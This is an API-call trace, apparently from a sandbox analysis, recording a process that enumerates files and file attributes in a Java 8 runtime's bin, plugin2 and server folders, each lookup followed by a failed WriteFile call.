	[0244.717] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\lcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\lcms.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39040)) returned 1
	[0244.718] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\management.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\management.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9040)) returned 1
	[0244.718] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.718] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\mlib_image.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\mlib_image.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x9fa40)) returned 1
	[0244.722] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89c8466, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa12a0)) returned 1
	[0244.723] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr100.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89c8466, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89c8466, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750)) returned 1
	[0244.723] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.723] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a0)) returned 1
	[0244.723] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.724] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\net.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\net.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17a40)) returned 1
	[0244.728] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.728] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\nio.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\nio.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xec40)) returned 1
	[0244.728] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.728] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\npt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\npt.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4a40)) returned 1
	[0244.728] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.729] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1
	[0244.733] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1
	[0244.733] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4f, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.733] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.734] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0244.734] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2a2bf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.734] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1
	[0244.734] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440, dwReserved0=0x0, dwReserved1=0x0, cFileName="npjp2.dll", cAlternateFileName="")) returned 1
	[0244.734] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.734] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0244.734] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4b, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.735] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xca750)) returned 1
	[0244.735] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x59, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.735] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\npjp2.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df6b8 | out: lpFileInformation=0xc0001df6b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x39440)) returned 1
	[0244.748] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x56, lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df66c, lpOverlapped=0x0) returned 0
	[0244.748] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1
	[0244.748] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.748] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_common.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_common.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xe040)) returned 1
	[0244.749] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.749] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1fe40)) returned 1
	[0244.750] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.750] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_sw.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_sw.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x17e40)) returned 1
	[0244.750] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.750] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\resource.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\resource.dll"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3c40)) returned 1
	[0244.751] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.751] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmid.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmid.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8a148fe, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3e40)) returned 1
	[0244.751] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4c, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.752] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\rmiregistry.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\rmiregistry.exe"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8a148fe, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8a148fe, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8af971e, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1
	[0244.755] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
	[0244.755] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server"), fInfoLevelId=0x0, lpFileInformation=0xc0001df790 | out: lpFileInformation=0xc0001df790*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0244.760] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0244.760] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\*", lpFindFileData=0xc0001df548 | out: lpFindFileData=0xc0001df548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0244.760] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8af971e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa0f2b6c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xab35b530, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0244.760] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x21, ftCreationTime.dwLowDateTime=0xab35b530, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xab35b530, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xabaa88bc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x11d0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="classes.jsa", cAlternateFileName="")) returned 1
	[0244.761] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x866c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.dll", cAlternateFileName="")) returned 1
	[0244.761] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b1f9e6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b1f9e6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b1f9e6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 1
	[0244.761] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc0001df578 | out: lpFindFileData=0xc0001df578*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0244.761] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0244.761] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4a, lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001df744, lpOverlapped=0x0) returned 0
